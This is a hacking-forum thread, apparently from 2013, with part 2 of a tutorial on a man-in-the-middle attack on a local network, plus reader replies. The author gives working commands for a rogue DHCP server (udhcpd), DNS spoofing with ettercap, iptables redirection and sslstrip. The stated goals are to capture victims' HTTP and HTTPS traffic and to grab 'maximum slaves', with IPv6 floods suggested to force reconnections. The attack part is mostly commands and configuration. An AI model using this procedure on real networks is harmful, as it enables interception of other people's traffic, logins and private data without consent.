Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Tutorial] ~ Man in the Middle Attack ~ DHCP Starvation Part 2/2



Hey guys :D

Alright, so this is part 2 of my DHCP Starvation and MITM attack! In this part, we are going to set up a miniature DHCP server and act as a default gateway to other machines now trying to join the network.

Note: This attack works so fucking amazingly with an IPv6 flood or something that would force the users to restart their machines. Though the machines would have to be off when you start the attack for maximum slaves ;)

Setting Up the DHCP/DNS Server

So last time I told you how DHCP works in a basic sense. We are going to set up a DHCP server using "udhcpd" and we will be setting up a DNS server using nothing else but GOOD OLD ETTERCAP :D

First off, get udhcpd if you don't have it aready:
Code
apt-get install udhcpd

Alright, we need to edit the configuration file so we know what's up.
First of all, some important information to note:
Quote:My IP: 192.168.7.3
Router IP: 192.168.7.1
Network IP: 192.168.7.0
Subnet Mask: 255.255.255.0

Alright, let's edit the config file:
Code
nano /etc/udhcpd.conf

Find the line that says "start" and underneath that should say "end". Configure it with your network settings:
Code
start  192.168.7.20
end  192.168.7.254
[code]
MAKE SURE TO PUT TABS NOT SPACES! Not that it really matters xD

Now we need to set up some more options. Scroll down and edit these to your needs:
[code]
opt dns 192.168.7.3
option subnet 255.255.255.0
opt router 192.168.7.2
opt wins 192.168.7.10
option dns 8.8.8.8
option domain local
option lease 864000

That's it :D

ctrl+o -> enter to save
ctrl+x -> exit.

Now that we have that, start the DHCP server!
First we need to edit one more file and enable it:

Code
nano /etc/default/udhcpd

change:
Code
DHCPD_ENABLED="no"
to
Code
DHCPD_ENABLED="yes"

Now let's start the daemon/service!

Code
sudo /etc/init.d/udhcpd restart

Done! That's our DHCP Server!!!

Now for the DNS server. There are a million tutorials on where to download ettercap and things so I won't be going over all that. You can also install it by going:
Code
sudo apt-get install ettercap-text-only
assuming you have all the repos needed ;)

Alright, so feel free to set up DNS records if needed by editing "/usr/share/ettercap/etter.dns" at the bottom where all of the DNS records are :) You may have to locate the etter.dns file if it's not there.

So, let's just open up the DNS server, shall we?
Code
ettercap -Tq -P dns_spoof
There we go! DNS done!

Configuring SSLStrip and IPTables

I can spend all day on this section, but it's almost 1am and I've got class in a few hours xD So I'll limit it to just a few minutes.

SSLStrip: This is going to capture HTTP data and it will also spoof a SSL certificate so we can decrypt the victim's HTTPS traffic and have a secure connection with them ourselves. This s great for intercepting HTTPS encrypted websites.

IPTables: Static routing tables and nat configuration. I really can't go into it more, but if you'd like to know more feel free to ask!

Okay, so let's go ahead and run our iptables command (you don't have to flush the tables if you don't have rules already for these ports):
Code
iptables --flush
iptables -t nat --flush
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
This is going to add a static route and forward HTTP/S tcp traffic to port 10000 (sslstrip will run there).

Okay, let's ensure port forwarding can ensue:
Code
echo "1" > /proc/sys/net/ipv4/ip_forward

Let's set up SSL strip now.
Code
sslstrip -k -a -l 10000
Done :D

Watch the fireworks! You can check the ssl.log file whevever you'd like. This will capture ALL traffic both HTTP and HTTPS regardless if the cert is SSL or TLS :D

Tutorial by Goodies. I Hope You Enjoyed :D

~ Goodies ♥
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Thanks for tutorial :) and Thanks for you Goodies !
Nice tutorial - why nobody replies to it ? lOl
(Nov 13, 2013 09:22 AM)Delevingne Wrote:  Nice tutorial - why nobody replies to it ? lOl

Honestly, many of the simple people enjoy reading and making the same WiFi cracking tutorials or RAT help threads.

I make these tutorials for the few people such as yourself that read it and may even get something out of it ;)
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
This is all basic knowledge.

But whatever nice tut
Nice Tut, bookmarked it! Keep up the nice work.
This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job.
thank you for sharing this tutorial
(Nov 16, 2013 02:31 AM)DrDinosaur Wrote:  This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job.

Thanks :) I worked hard on this. Glad to be appreciated!

(Nov 16, 2013 02:31 AM)DrDinosaur Wrote:  This tutorial gets Dr. Dinosaur's Seal of Anti-Skid Approval. Seriously, this>skidcomet tutorials. Nice job.

Thanks :) I worked hard on this. Glad to be appreciated!
SRPP Discord Server

I am a professional network/cloud security architect.
My Old Tutorials
Thank You for posting your wonderful tutorials.
Amazing tutorial Goodies. You would be the one to do something like this, nice job!
thank you for sharing this really helpful to people
Thanks for the tutorial! I do love how they have a android app for this that automates the process.
I remember seeing this on that Derren Brown show haha
Tried this works perfect and highly detailed and HQ


Possibly Related Threads...
Thread / Author Replies Views Last Post
by TheCyb3rAlphaFeb 27, 2025 05:13 AM 6 901 Feb 27, 2025 05:13 AM
Last Post: RoundLettuce
by spectrum1Mar 12, 2024 04:59 AM 2 100 Mar 12, 2024 04:59 AM
Last Post: Euaggelistes
by h†mlJul 5, 2023 12:49 PM 3 437 Jul 5, 2023 12:49 PM
Last Post: Roli0810